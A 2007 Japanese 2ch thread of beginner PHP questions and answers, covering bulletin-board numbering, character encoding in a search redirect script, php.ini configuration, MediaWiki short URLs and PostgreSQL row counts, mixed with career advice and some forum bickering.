自由に画像アップできて且つデザイン的にも上等なものを作ってこい、と。
0137nobodyさん
2007/10/24(水) 00:23:07ID:???ソースは画像じゃなくて分割でもいいから文字としてここに貼った方がいい。
さもなければうpローダにテキストとしてUP。
検証するのに手打ちするのはバカらしいよ。
0138135
2007/10/24(水) 00:46:09ID:???失礼しました、下記がtxtになります。
http://sund1.sakura.ne.jp/uploader/source/up13838.txt
0139nobodyさん
2007/10/24(水) 01:13:48ID:???一つ疑問。
これ、番号はユーザの書き込みごとにずれていくって事だよね。
Aが書き込むとAが1になるが、次にBが書き込むとBが1になり、さっきのAの投稿は2にズレる。
ここでAが投稿後画面更新せずに投稿を削除しようとしたらどうなる?
Aは表示したままだから自分の番号1とDelKeyで削除しようとするけど、すでに番号1はBの投稿になってるから削除できなくないか?
しかも偶然AとBのDelKeyが一緒だったら削除される可能性もある。
通し番号の方がよくない?
0140139
2007/10/24(水) 01:41:55ID:???チェックしたのを削除しようとすると通し番号がPHP側に送られて削除するとか。
今の方法だと一旦全ログを変数に移し、番号++しながら書き込み、にしないと処理が複雑になると思う。
全ログ取得はメモリ容量とも関わってくるし。
0141nobodyさん
2007/10/24(水) 01:54:25ID:???> このスレって初心者以前の人が1日に1回は来ているような気がするんだが・・・
> テスターも使ったことがない人が「テレビが故障したけどどこを直したらいいでしょうか」なんて
意味不明。テスターとテレビとどう関係あるんだよ。
0142nobodyさん
2007/10/24(水) 01:55:16ID:???ポカーン
0143nobodyさん
2007/10/24(水) 02:07:43ID:???ログが180満杯の場合はそういう挙動になります。
ぬぬぬ、やはり通し番号じゃないと問題でますか・・・・・・・・・・・・・・・・・・
言われてみるとほんと指摘どおりの問題発生しますよね・・・・・・・・・・・・
おとなしく改造前どおり通し番号制に戻したいと思います、
アドバイスありがとうございました、
アドバイスのおかげですっきりしました。
0144127
2007/10/24(水) 02:16:13ID:???ああ、そういう話なのか…
であれば結論は
「それはそのプログラムの仕様です。ソフトハウスの言うように、定められたサイズの
画像をあらかじめ用意してそれをアップロードするようにしてください」
としか。
設定というかプログラム上で回避する方法はいくらでもあるけど、
そういった融通に対応しないヘボソフトハウスに発注したあなたの会社が悪いです。
もしくは別料金払って機能改修の依頼をするとか。
そのプログラムを使ってる限りはユーザ側では対処のしようがないんじゃないかな?
0145nobodyさん
2007/10/24(水) 02:17:01ID:???ついでに>>138のソース、処理が複雑すぎ。
ファイル書き込みにhtmlspecialcharsは不要。むしろタブ文字を削除しないと書式が狂う。
(仮に削除を考えずに)番号を1〜180にするにしてももっとシンプルに書けるはず。
(通し番号にすればさらにシンプルになる)
複雑なソースはバグの原因になりますよ。
0146nobodyさん
2007/10/24(水) 02:19:50ID:???0147nobodyさん
2007/10/24(水) 02:47:07ID:???0148135
2007/10/24(水) 02:51:19ID:???なるほど
$comment = str_replace("\t", "", $comment);
を入れると書式おかしくなるので
タブ自体無効にした方がよいのですね。
解説サイトの丸写しの部分が多く
私自身まだまだ意味を理解してないままの
行程が多いのでアドバイスほんとにありがたいです。
0150147
2007/10/24(水) 04:05:31ID:???子オブジェクトを親クラスにアップキャストすることで、
親のメソッドを明示的に呼びたい。
$obj = (親クラス名)子オブジェクト名; とか
$obj = 子オブジェクト名 as 親クラス名;
のようなことができれば、実現できると思うんだけど。
0151nobodyさん
2007/10/24(水) 04:48:26ID:???0152nobodyさん
2007/10/24(水) 06:40:32ID:???最近のプログラム書いてる人はコードなんてほとんど読まないですよ
とくにPHPやパールなんてとにかく動けばいいという発想が強いですね
昔は1万行ぐらい何ヶ月もかけて読みましたよ
やはり根気が大切ですね
0153nobodyさん
2007/10/24(水) 06:42:43ID:???0156nobodyさん
2007/10/24(水) 09:40:07ID:???ユーザが入力したタブはスペース二つくらいと置換すればいいでしょう。
もしくはユーザが絶対推測不可能な文字列と置換してhtml出力時に再度タブに変換する、とか
$TAB = "##%$FDEbsgWRn%vfG%bfa%##";
$comment = str_replace("\t", $TAB, $_POST['comment']); // 入力時
$html = htmlspecialchars(str_replace($TAB, "\t", $comment)); // HTML出力時
方針にもよるでしょうが、ユーザにタブ「入力不可」と規制するよりこちらで上手く処理した方がユーザフレンドリだと思います。
(htmlタグ禁止などは別にして)
0157nobodyさん
2007/10/24(水) 09:41:54ID:T7DDINjYと言うのを見つけて、ダウンロードして使って見たら、ちゃんと文字化けもせず検索できたのに、
それを自分のファイルにコピーして使うと、検索文字が文字化けを起こしてしまいます。
どういったミスが考えられますか?
説明下手ですいません
0158nobodyさん
2007/10/24(水) 09:43:03ID:???<>とかが定石じゃない?
0160156
2007/10/24(水) 09:56:48ID:???なるほど。<>なら入力時にhtmlspecialchars使えば重なりませんね。
タブの空白2つへ置換はずっと前にPerlの入門書で見たのでそれがていせき(←何故か変換できない)と思ってました。
質問うp主じゃないですが勉強になりました
0161157
2007/10/24(水) 09:56:50ID:T7DDINjYはい、そうかもしれないのですが、サンプルの方はヘッダ情報にはタイトルしかなくて
文字コードがわからないのです。
自分のはSJISだと思います。。
mb_convert_encoding($hoge, "UTF-8", "SJIS");もわからないながら試してダメでした。
0162nobodyさん
2007/10/24(水) 10:04:19ID:???サンプルをコピペじゃなくファイルとして落としたなら文字コードのわかるエディタで開けばどう?
ブラウザで見てもいけると思うが。
もしくはサンプルを
mb_convert_encoding($sample,"SJIS-win","auto");
0163nobodyさん
2007/10/24(水) 10:15:35ID:???それと話進めるにはそのサンプルとやらを晒したほうが早くないか?
0164157
2007/10/24(水) 10:50:37ID:T7DDINjY>>163すいません。xrea使ってます。サンプルは丸写しですがこれです
<html>
<head>
<title>検索エンジンの活用</title>
</head>
<body>
<h1>検索エンジン選択</h1>
<form method="POST" action="rdir.php">
<table border="0">
<tr>
<th>検索キーワード:</th>
<td><input type="text" name="keywd" size="20" /></td>
</tr><tr>
<th>使用エンジン:</th>
<td>
<select name="eng">
<option value="yahoo">Yahoo!</option>
<option value="google">Google</option>
<option value="infoseek">Infoseek</option>
<option value="goo">goo</option>
</select>
</td>
</tr><tr>
<td colspan="2"><input type="submit" value="検索" /></td>
</tr>
</table>
</form>
</body>
</html>
0165157
2007/10/24(水) 10:51:32ID:T7DDINjY<?php
$strKey=urlencode($_POST['keywd']);
switch($_POST['eng']){
case "yahoo":
$url="http://search.yahoo.co.jp/bin/search?p=";
break;
case "google":
$url="http://www.google.com/search?hl=ja&ie=euc-jp&q=";
break;
case "infoseek":
$url="http://www.infoseek.co.jp/Titles?qt=";
break;
case "goo":
$url="http://www.goo.ne.jp/default.asp?MT=";
break;
}
header("Location: ".$url.$strKey);
?>
0166nobodyさん
2007/10/24(水) 12:14:16ID:???0167nobodyさん
2007/10/24(水) 12:27:55ID:???文字化けはgoogleのみ?
googleのみなら
case "google":
$url="http://www.google.com/search?hl=ja&ie=euc-jp&q=";
の$urlでEUC-JPに指定してるのが問題
「&ie=euc-jp」を外すか文字コードを別にする
外した場合
$url="http://www.google.com/search?hl=ja&q=";
UTF-8に変更した場合
$url="http://www.google.com/search?hl=ja&ie=utf-8&q=";
それとそのソースだとgooが検索できなかった。書式が変わってるかも
0169nobodyさん
2007/10/24(水) 12:33:51ID:???掲示板なら
http://www.phppro.jp/school/phpschool/
ここに作り方がのってありますぜ!
もし分からなかったらここの住人が教えてくれますぜ!
0170nobodyさん
2007/10/24(水) 12:37:01ID:???0171nobodyさん
2007/10/24(水) 13:22:33ID:???それによってそうとうストレス感じるよ。
人の死期を早める行為が殺人だとすれば、
ここのレスによって精神的苦痛を受けて寿命を縮めるわけだから、殺人と一緒だよ。
0172nobodyさん
2007/10/24(水) 13:29:41ID:???別のコミュニティを利用したほうがいいんじゃない?
たぶん向いてないよ。
0174nobodyさん
2007/10/24(水) 13:52:11ID:???教えてもらうって人の態度じゃねーぞw
という奴が叩かれてるだけじゃね?
ここさ、赤の他人に対して質問する人を多いけど、
それによってそうとうボランティアの強制だと感じるよ。
他人が答えてくれる行為を感謝していれば、
ここのレスによって馬鹿にされる事はないわけだから、質問の仕方が悪いと言われてるのと一緒だよ。
0176nobodyさん
2007/10/24(水) 14:00:27ID:VOPF7shqcryptという関数を見つけたのですが、単方向アルゴリズムなので複合化ができません。
0178nobodyさん
2007/10/24(水) 14:49:26ID:???http://e-words.jp/w/PHP.html
>PHP
>
>読み方 : ピーエイチピー
>フルスペル : PHP : Hypertext Preprocessor
少しは調べる努力をしましょう。いつまでたっても自分じゃ何もできないですよ。
0179nobodyさん
2007/10/24(水) 15:07:11ID:???0180nobodyさん
2007/10/24(水) 15:52:32ID:u6eI2uUXapacheの再起動もしています。
ご教示お願いします。
以下のようにPHPをコンパイルしました。
./configure \
--with-apxs2=/usr/local/apache2/bin/apx \
--enable-mbstring \
--with-gd \
--with-zlib \
--with-mysql=/usr/local/mysql
cp php.ini-dist /usr/local/lib/php.ini
phpinfoでのLoaded Configuration Fileの場所/usr/local/lib/php.ini
php -vの結果
Failed loading /usr/local/lib/php_accelerator_1.3.3r1.so: ld.so.1: php: fatal: /usr/local/lib/php_accelerator_1.3.3r1.so: wrong ELF class: ELFCLASS32
PHP 5.2.4 (cli)
Copyright (c) 1997-2007 The PHP Group
Zend Engine v2.2.0, Copyright (c) 1998-2007 Zend Technologies
◆予想
php.iniはCLIではよみこまれているものの、apacheには読み込まれていない?
PHP Acceleratorの設定は間違っている?
◆環境
OS:solaris
PHP5.2.4
PHP Accelerator 1.3.3r1
0181nobodyさん
2007/10/24(水) 15:54:46ID:???0182179
2007/10/24(水) 16:39:53ID:u6eI2uUXこちらは解決です。
ただphp.iniの内容が反映されないのは無関係だと思うので引き続きお願い致します
0183nobodyさん
2007/10/24(水) 17:06:01ID:???説明不十分な質問に対し回答する必要なしってスタンスなんだと思う
UNIX系コミュニティによく見られるふいんき(←なぜか変換出来ない)だね
0184nobodyさん
2007/10/24(水) 17:50:23ID:???0185nobodyさん
2007/10/24(水) 17:51:11ID:???0186nobodyさん
2007/10/24(水) 17:52:18ID:???0187nobodyさん
2007/10/24(水) 17:54:32ID:???0188nobodyさん
2007/10/24(水) 18:13:13ID:???/'´\
/´ ̄``>-ァ' /:::::: ヽ
l / / /::::::::::: ヽ _
_| / i 〈::/ ̄``ヾ<``
/ l. ' / ヽ.\ +
l、 ヽ レ, ヾ、 !|ヽ|
lヽ | \ |l ,イリ ′
\_,ゝ.___.. -`ァ‐i)"ヽ ==- _ ,. '⌒⌒ヽ
. _レvv ,、,、_,-一Z'L. イ  ̄ ==- ___∧∩'⌒ヽ
┌-く >' 」ニ┐ ,、_〉、〉「 ,.-、′ `Д´)/ >>187
| , 、ヽ_/ | 〈. 〉ヽ ( ( ⌒ / ) ヽ
i⌒i. / Y_jニ、 ヽ.レ┘_f_.ノ ゝ_ ゝ ' ' _ ノ
| l. く , イ ヽヽ_ヽ、Lニ-'<._  ̄"""""゙ ̄
ヽ `ー√ / | 、 下丁`ヽ. \ノ、_
`ーtヘヘ._」_,.-セ_ノ | ! ,.ゝ/ソ
`tゝニヽ、_,、_,.-‐、_'ニ-1ァ′
フヾエァ‐i-t‐'T_Zニ-l‐^「
/`ー/ ` ̄  ̄´ !一'^!-、_
/⌒ l、 / 〉 ´ )
. / ヽ〈 {.__, -‐'
{.___ ノ 三三三
三三三 三三三三三
三三三三三三三三三
三三三三三三三
三三三三三
三三三
0189nobodyさん
2007/10/24(水) 18:34:15ID:VOPF7shqhttp://wwwww.2ch.net/test/read.cgi/news4vip/1193218339/l50
0190nobodyさん
2007/10/24(水) 19:20:45ID:???0191nobodyさん
2007/10/24(水) 19:59:18ID:???http://itpro.nikkeibp.co.jp/article/COLUMN/20050917/221333/?P=2&ST=oss
0192nobodyさん
2007/10/24(水) 20:07:54ID:???0193nobodyさん
2007/10/24(水) 23:04:13ID:???0194nobodyさん
2007/10/24(水) 23:07:28ID:???0195nobodyさん
2007/10/24(水) 23:29:13ID:???http://php6dev.blogspot.com/
0196nobodyさん
2007/10/25(木) 09:15:53ID:???さすがに退いたわ
ttp://d.hatena.ne.jp/elf/20071025/1193244391
0198nobodyさん
2007/10/25(木) 09:29:55ID:???真性だったら・・なんて、まさかね。(笑)
0200nobodyさん
2007/10/25(木) 13:08:07ID:MQ6GtYsPPHPってクラス名と関数名は大文字小文字の区別がないんですね・・・
これって気持ち悪くないですか?
区別するように設定できないもんですかね?
0202180
2007/10/25(木) 13:39:04ID:???どうもです
0204nobodyさん
2007/10/25(木) 15:29:30ID:???くだすれPHP(超初心者用)2 が完走したままですが…新スレ立ててもいいですか
って言ってる俺は、くだすれレベル
0205nobodyさん
2007/10/25(木) 15:31:59ID:q/x5LG70↑のページで使われているようなphp(商品検索、ランキング、カテゴリー別に商品を分ける)
を自分で作ろうと思うんですが、HPは作ったことはありますが、PHPはまったくの無知で、
プログラミングについて学ぼうと思っています。今は学生で、webデザイナー目指してます。
経済系の4年生大学に通ってますが、卒業後2年制の専門学校に行こうと思っています。
専門学校の費用稼ぎ+webプログラミングの勉強(ショッピングカートシステムの完全理解)
のために、
↑のサイトのプログラムを完全理解して、+αのものを作りたいと思っています。
このような簡易商品リンク(?)システムを作るには、どうすればいいんでしょうか??
ローカル鯖で実験するために、XAMPP入れました。
わかっていること、
ユーザー側、
カテゴリー別、メーカー別で商品を見つけることができる。
→商品登録時に商品データにカテゴリー名、メーカー名をデータ内に保持させる。
ランキング
→商品購入情報はアフェリエイトサイドから伝わるはずなので、
ランキングデータは、後からアップロードしている。
管理面
CSVデータを読み込んで、自動的にページを作る。
ディレクトリー型のサーチエンジン型リンク集をいじって↑
のような機能を付けることで、てっとり早く作れるかな・・・と思っているんですが、
普段phpを仕事でプログラミングされている方の考察、お願いします。
0207nobodyさん
2007/10/25(木) 15:48:22ID:???苦しゅうない
立てろ
>>205
一夜漬けじゃ無理
ましてや学費を稼ごうなんて、どんだけチャレンジャーなんだよw
配布されてるカートプログラムやCMSを理解できるようになってから、
パクれ、いや、参考にしろw
0208nobodyさん
2007/10/25(木) 15:59:44ID:BRjCuUNY0210nobodyさん
2007/10/25(木) 16:07:00ID:???色んな意味でもったいない。
就活失敗しんだろうが自暴自棄にならないで今からでもガンガレ。
webデザイナーなんて美大の落ちこぼれがほとんど。
それでもなりたいっていうなら止めないが。
業務では、デザイン、HTMLコーダー、プログラマーと分かれるので、
デザイナーにショッピングカートシステムの完全理解なんて必要ない。
会社によってはデザイナーがある程度やる場合もあるけど、
それでもHTMLが必要なぐらいで、PHPまで及ばないと思う。
デザイナーのステップアップにPHPとよく聞くが、
実際PHPをデザイナーが使ったとしても、フレームワークのview部分ぐらいしかいじらないので、
勉強するならフレームワークの使いかたでも勉強したほうがいいと思う。
あと>>205のようなことを全く触ったことがない人が独学でやると、
なんだかんだで1年とかかかるんじゃないかね。
0211nobodyさん
2007/10/25(木) 16:09:17ID:???0212nobodyさん
2007/10/25(木) 16:18:34ID:???0214nobodyさん
2007/10/25(木) 16:38:08ID:???特に難しい仕様もなく、基本的な機能ばかりだから頑張れば出来る
つーか、それぐらい作れないと趣味も仕事も無理w
webデザイナー目指しているなら、Smartyの勉強はしっかりするといい
PHPの基礎知識を持っているwebデザイナーは重宝がられるぜ
0215nobodyさん
2007/10/25(木) 17:03:59ID:???0216nobodyさん
2007/10/25(木) 17:04:16ID:fQCfo6knpreg_match("/hoge/sm", $match);
このデリミタ(この場合はスラッシュ)の後につくsmという文字(他にもi等色々あるようですが)
この意味を知りたいのですがマニュアルのどの項目を見ればよいかわかりません。
どなたかマニュアルのどの部分に書いてあるかわかる方教えていただけませんか?
0218nobodyさん
2007/10/25(木) 17:15:08ID:???$x = "a1b2c3d4e5f6";
(何らかの処理)
print "$x";
[123456]
といった感じでお願いします。
0220216
2007/10/25(木) 17:21:15ID:fQCfo6kn例にiの意味は書いてあったのですが、(大小文字区別しない)
その他のものに関しては言及してないように見えます。
0221nobodyさん
2007/10/25(木) 17:21:16ID:1HmW1RjGPHP5の本の付属CDでSmartyをインストールしました。PHP4の本に載ってる
Smartyはやはり動きませんか?
0222nobodyさん
2007/10/25(木) 17:23:48ID:???0224221
2007/10/25(木) 17:28:33ID:1HmW1RjG作ってみたいなあとおもっているんですが、最新バージョンのSmartyなら動きますかね?
とりあえず、動かないようならPHP4の本をみて再度Smartyを入れなおそうとおもってるんですが。
0225nobodyさん
2007/10/25(木) 17:30:27ID:???$x = "a1b2c3d4e5f6";
print getSuujiOnly($x);
これでいいんじゃね?
0226nobodyさん
2007/10/25(木) 17:30:56ID:???PHPもSmartyも最新バージョン入れて本とSmartyのドキュメントを参考にしながら作れって
0227221
2007/10/25(木) 17:35:05ID:1HmW1RjGSmartyの章だけはPHP4の方がおもしろそうなアプリケーションが
載ってるんでそっちを作ってみたかったんです。
ドキュメントとかよくわかりませんが、みながらやってみます。ありがとうございました。
0230216
2007/10/25(木) 18:10:10ID:fQCfo6kn関数だけ見てました。項目見たら見つけることができました。
助かりました。どうもありがとうございました。
0231nobodyさん
2007/10/25(木) 18:14:58ID:???間にGIMPをちょくちょくいじくってました。
ちなみに使った参考書は
・HTML&スタイルシート レイアウトブック
・基礎PHP
・PHP5であなたにもWebアプリが作れる!
・CSSプロフェッショナル・スタイル
勉強していて思ったのはさすがにPHPは小遣い稼ぎにはならないということ
例えばブログ作るにしても自分のコードは1500行ぐらいで
WordPressとは比べ物になりません。
専門学校の費用稼ぎのためにショッピングカート作るなら
例えばWordPressをいじくってホームページ用にしたり、デザイン考えたり
して小遣い稼ぎしたほうが効率いいですよ。
大学卒業してWebデザインの専門学校に通うなんて
お金もったいないと思うのですが ちなみに僕は高校生です
0232nobodyさん
2007/10/25(木) 18:24:18ID:???0233nobodyさん
2007/10/25(木) 18:24:52ID:???0234nobodyさん
2007/10/25(木) 18:25:37ID:???0235nobodyさん
2007/10/25(木) 18:30:12ID:???0237nobodyさん
2007/10/25(木) 18:44:39ID:???皆さん無職の人ですか?
6時に2chへばりついてw
あなた達の書き込み内容と私の書き込み内容
世間の人が見たらどう評価されるでしょうね?
私が留学して帰ってくる頃までには職探し済ませてください
こき使ってあげますよw
0238nobodyさん
2007/10/25(木) 18:45:53ID:???0239nobodyさん
2007/10/25(木) 18:51:38ID:???この釣りセンスは素晴らしいのではないか。
0241nobodyさん
2007/10/25(木) 18:53:40ID:???なにごともやってみろ
0242nobodyさん
2007/10/25(木) 18:55:12ID:???いやあ>>231はすごいぞ。
>>231
>>自分はHTML⇒スタイルシート⇒FLASH⇒PHPの順番で勉強して1年ぐらいです。
>>間にGIMPをちょくちょくいじくってました。
GIMPいじくってたっていうくらいだからOSSバリバリ開発してんじゃねーの?
たしかC言語だっけ?(違った?)
スクリプト言語使ってるウチラとはレベルが違うみたいよw
0245nobodyさん
2007/10/25(木) 19:07:08ID:???<?php print $xxx; ?>
をもう少しシンプルに書く記法無かったっけ?
マニュアル探しても見つからない orz
0246nobodyさん
2007/10/25(木) 19:12:13ID:???俺なんて高校時代部活で22時帰宅だったのに。
土日も基本部活だがオフの日は遊びほうけてたな。
ずいぶんと勤勉で関心ですよ。
でもね、高校時代はもう少し息抜きしてもいいとおもうんだ。
0247205
2007/10/25(木) 19:15:59ID:q/x5LG70個々に対するコメはできませんが、参考になるご意見ばかりでありがたいです。
経済学部ってかきましたが、実際勉強してることは経営学ばっかりです。
中堅国公立大の2年生です。
好きなことを仕事にできるって、とても楽しいじゃないですか。
俺はホームページを作っている間は、時間が経つのを忘れるくらい
それに没頭してしまう。中学の時に、ウェブ作るの好きで、
遊びでやってたんだけど、ふとしたことがきっかけで、またウェブ作り出して、
これを職業にしたいな。って思った。
大学で学んだ経営学を活かして、地方とかの中小企業が、より効率的に
セールスプロモーションできるようにウェブを活かしたいと思ってる。
WEBデザイナーっていう枠に捉われないWEBデザイナーになりたい。
お金貯めるの、本当はバイトでもすればいいんだろうけど、
慢性疲労症候群っていう病気になっちゃって、体力的にまだバイトできる状態じゃない。
パソコンで作業するのはそんなに体に負荷かからないから、
チャレンジャーだけど、やってみようと思って。
WordPressっていうのがあるんだ??全然知らんかった。
ありがとう。ちょっとやってみるよ。
0249nobodyさん
2007/10/25(木) 19:24:50ID:???4年制大学かw今4年生なのかと思ったわ。
0250nobodyさん
2007/10/25(木) 19:27:40ID:???JavaScriptやFlashをやったほうがより良い。
0252nobodyさん
2007/10/25(木) 19:35:45ID:???デザイナーやプログラマーは自分でやるものではなく、こき使うもの(こき使われるもの)だ
本当に好きでやっているなら、楽しい事や趣味を仕事にしない方がいい方が多々ある
あとwebデザイナーもwebプログラマーも給料は安く拘束時間が長いので、
webコンサル目指した方が経営学も活かせてよりよい仕事が出来るぞ
専門家は捨てるほどいるんだ、この世界は広く浅くで勝負しろ
0253nobodyさん
2007/10/25(木) 19:39:07ID:???1500行でWordPressと同等の物が作れてるなら凄いと思うけどな
0255nobodyさん
2007/10/25(木) 19:52:18ID:???サンクスコ
どうも short_open_tag = off にしてたらダメっぽい
冗長な方で頑張るぽ・・・
0256nobodyさん
2007/10/25(木) 19:57:11ID:???自分は親が税理士しているので
そのつながりでホームページ作るようになりました。
別にプログラムばっかり書いてるわけではなくバンド組んだり
年間100本ぐらいは映画見るようにしています。
youtubeでBlogTVがあるので見てみては?
伊藤穰一さんが出演されているのですが、彼のインタビューやブログ、書籍は
ためになりますのでお勧めです。
クリエイティブコモンズやオープンソースなどで
将来的には貢献したいと思ってます
高校時代に尊敬できる人ができて、自分は運が良かったと思います。
0257nobodyさん
2007/10/25(木) 19:57:13ID:???0258nobodyさん
2007/10/25(木) 19:59:50ID:???0259nobodyさん
2007/10/25(木) 20:16:55ID:???0260nobodyさん
2007/10/25(木) 20:31:48ID:???ショートタグ使ってると外部からデータ取り込む処理がある場合は注意が必要だ
ある方法でPHPコマンドを実行したり、故意にエラー吐かせてシステム止める事が出来るぞ
0261nobodyさん
2007/10/25(木) 20:32:26ID:???0262nobodyさん
2007/10/25(木) 20:34:58ID:???0263nobodyさん
2007/10/25(木) 20:36:39ID:???0264nobodyさん
2007/10/25(木) 20:42:19ID:???PHP6ではショートタグ廃止だから今のうちから直して慣れておけよ
0265nobodyさん
2007/10/25(木) 20:44:23ID:???ショートオープンタグには一言ある人が多いようだが、まあ今更言うことでもあるまい
0266nobodyさん
2007/10/25(木) 20:48:03ID:???ショートタグ使ってのXML混在も自前の処理でこなしてるのか
そこまでやってるならセキュリティ云々は釈迦に説法だなw
0267nobodyさん
2007/10/25(木) 20:48:50ID:???0268nobodyさん
2007/10/25(木) 20:56:44ID:???0269nobodyさん
2007/10/25(木) 20:56:58ID:???能力ありそうなのにそんな分野に行くのはもったいない。
Webデザイナーとかプログラマーってのは基本的に専門卒の低学歴がやる仕事だよ。
給料も少ない。出世もない。だって誰でもできる仕事だものね。
4大出てるなら資格とってせめてSE目指すか、修士か博士取って研究開発に進んだほうがいいと思う。
0270nobodyさん
2007/10/25(木) 21:03:10ID:???0271nobodyさん
2007/10/25(木) 21:06:39ID:???何も知らない中学生が妄想で語らないで下さい。
デザイナーは学歴云々でなく、センスの問題。
プログラマーとSEが別物だと思ってるならおめでたい。
研究職なんてそんな募集してません。
0273nobodyさん
2007/10/25(木) 21:13:52ID:???0274nobodyさん
2007/10/25(木) 21:30:37ID:???インストールしようとしたら↑のエラーがでたんですが、
ググってみたらphp.iniのmemory_limitを32Mまで上げろって事までは分かりました。
ただ、どこでどうやって上げるのか調べても分からなかったので、
分かる方、御教授いただけないでしょうか?
0275nobodyさん
2007/10/25(木) 21:40:34ID:???0276nobodyさん
2007/10/25(木) 22:34:08ID:???ありがとうござます!
ただ、初心者すぎて全く理解出来ません・・・
参考になるサイト探してるのですが、見つからない次第でして・・・
0278nobodyさん
2007/10/25(木) 23:01:56ID:???がんばります、ありがとうございます
>>243
ありがとうございます。
なるほど、ヒントで助かりました。何とかできそうです。
>>254
ありがとうございます、知りませんでした。
勉強になりました。
0280nobodyさん
2007/10/26(金) 00:40:49ID:???$x = "a1b2c3d4e5f6";
print preg_replace("/[^0-9]/", "", $x);
0281nobodyさん
2007/10/26(金) 00:46:44ID:???0282nobodyさん
2007/10/26(金) 00:49:19ID:FT3ITxDD↑ 携帯に届いた「携帯版mixi」のお誘いのアド
PCからここにアクセスすると、phpinfo丸見え。
これってニセモノだよね?
0283nobodyさん
2007/10/26(金) 01:30:41ID:???無能な人間
↓
マスコミがカリスマという虚像を作り上げ、一躍有名人
↓
無能な人間が勘違いしだして、高ビーに変貌
↓
マスコミが高ビーになった無能人間の本性を暴く
↓
無能人間が廃人に変化
0284nobodyさん
2007/10/26(金) 01:53:49ID:YbGgdl0/要求される、php5、Apache、MySQLの条件も満たされており、無事にサーバー上で起動することができました。
そこでURLの短縮 http://www.mediawiki.org/wiki/Manual:Short_URL/ja に取り掛かったのですが、
どうにもうまくゆきません。この作業は具体的には、 /index.php?title=記事名 となっているものを、
/記事名 というようにするものです。
自分の場合は、解凍したファイルをhttp://サブドメイン.ドメイン.net/直下に置いています。
つまり、そのトップページのURLは、 http://サブドメイン.ドメイン.net/index.php となります。
このURL短縮に必要な作業は見たところでは .htaccess と LocalSettings.php におけるものだけのようなので、
上記の解説にあるほとんどの方法を試してみたのですが、Internal Server Errorになったり、
例えば『記事URLでサブディレクトリ無しのサブドメイン』を試してみたら、一応のところ起動可能となるのですが、
リンクを辿るたびに白背景に ・ソ というような画面が現れて数秒してやっとリダイレクトするという状況でした。
同じMediawikiを使っているWikipediaではこのようなことは起こらず即座にリダイレクトすることを考えてみても、
これが成功であるとはどうしても思えません。なにが問題なのかご助言をください。
0285nobodyさん
2007/10/26(金) 01:57:12ID:???0286nobodyさん
2007/10/26(金) 02:01:23ID:???BOMなしで保存できるエディタを使わないと
0287nobodyさん
2007/10/26(金) 02:39:01ID:???0288nobodyさん
2007/10/26(金) 03:18:42ID:???↑
高校生に文句付けてるのこいつかw
きめぇぇっwwwwwwwwwwww
0290nobodyさん
2007/10/26(金) 03:52:50ID:???0291nobodyさん
2007/10/26(金) 03:53:16ID:???0293nobodyさん
2007/10/26(金) 03:56:16ID:???風呂はいれよw くせーからwwwwwwwwwwwwww
お前いい年して初心者捕まえて偉そうにしてるがむなしくないのか?
0294nobodyさん
2007/10/26(金) 03:56:19ID:???,、___/ レ'`, `" ` _ / /_ 、"、 ,.‐`-‐'´
ヽ- ,┌‐'ニ-‐'_"`, ヽ_ニ=, ,‐、 ヽ 丶`、 } }
/ / "~'_,"´~ / / } } _.,」 .}. ノ { -='"ニ、ヽ
. / / ,"、 / /_ / / ` `ー' {、_‐'´ ) .)
/ / '.、`ー─'` {´ ノ `、`' /、 _ノ ノ
`´  ̄ ̄"´ ~ `~ -='-‐'´
_
`,`ヽ _ _-'"´~`゙-、
,、_ -' '‐'ヽ`ニ .ヽ、 ゝ`, ,、 _____ .,、 / ,'"´~`ヽ ヽ
`ーフ /'"~´ 「',- 、_' / / `ー, , -‐'" '−' _ノ .ノ
/ / .i i { { , " .'´.-'"
. / / _ =-' L_ i レ'/ ,、 i.,...i
`´ { (ニ; ,へ`ゝ i / ',`、_____. ,、 . ,-‐、
`ー‐'" `´ ヽ_', `ー---‐" . `ー"
0295ヽ(`Д´ ◆JB0CtYYhJQ
2007/10/26(金) 03:56:23ID:???0296nobodyさん
2007/10/26(金) 03:57:20ID:???0298nobodyさん
2007/10/26(金) 04:03:38ID:???0300nobodyさん
2007/10/26(金) 05:03:53ID:???$result = pg_query($database,$sql);
としてテーブルtabledbのデータ件数だけを取得したいのですが
この処理からどう出力させれば目的のデータ件数を得られますか?
PHP postgresqlです。
0301nobodyさん
2007/10/26(金) 05:13:29ID:???http://jp2.php.net/function.pg-query
0302nobodyさん
2007/10/26(金) 05:19:41ID:???$rows = pg_num_rows($result);
として取得できました。
SELECT *FROM ではなく
レコード数だけ取得したかったので
SELECT count(*) FROM と処理してみました。
レコード数だけ取得したい場合、このように処理することは
余計なリソースの節約につながるのでしょうか?
0303nobodyさん
2007/10/26(金) 05:28:00ID:???ポスグレ使ったことないからあれだけど
$query = "select count(*) as hoge from tabledb";
とかしといて
結果からhogeにアクセスしたりしてとれないかな
mysqlとかはこんな感じでできるけど・・・
0304nobodyさん
2007/10/26(金) 05:59:30ID:???$sql ="SELECT count(*) as row FROM tabledb";
$result = pg_query($database,$sql);
$rows = pg_num_rows($result);
print $rows["row"];
と処理しても取得することができました。
$rows = pg_num_rows($result);
無しには取得できないようだったので、ほぼ同じことに。
0306nobodyさん
2007/10/26(金) 06:21:06ID:???pg_fetch_*()じゃないt
0307302
2007/10/26(金) 07:58:49ID:???$sql ="SELECT count(*) FROM tabledb";
$result = pg_query($database,$sql);
$row = pg_fetch_result($result,0,0);
print $row;
にて処理させることにしました、どうもありがとうございました。
0308nobodyさん
2007/10/26(金) 11:33:27ID:???key1 = "abc¥"def"
とすると
array('key1' => 'abc¥¥def')
となります。
だれか助けて。
0310309
2007/10/26(金) 12:31:02ID:???http://www.php.net/manual/ja/function.parse-ini-file.php
「注意」を読むと"は使えないみたいね。
でも例によって下のほうに対処法が書いてある。
定数による書き換えが出来るらしい。
http://www.php.net/manual/ja/function.parse-ini-file.php#70847
しかし、俺の環境では動かなかった
あとは読み込んでから処理とかでもいいだろうね。
シングルクォーテーションで代用するとか、xmlにしたほうがいい気もする。
0312nobodyさん
2007/10/26(金) 20:10:21ID:???configureし直さないといけないのかな?
0313nobodyさん
2007/10/26(金) 20:15:34ID:473J8VsZiniで
0314nobodyさん
2007/10/26(金) 20:27:03ID:???0315nobodyさん
2007/10/26(金) 22:10:06ID:???0316nobodyさん
2007/10/26(金) 23:50:03ID:???WEBの情報を頼りにphp.ini とhttpd.iniを編集してphpを
ブラウザで表示させました。
でも、何も表示されません。
その状態で、ブラウザのソースの表示をしたら、phpのソースは見れました。
よくある設定ミスだと思いますが、どういうミスが考えられますか?
0317nobodyさん
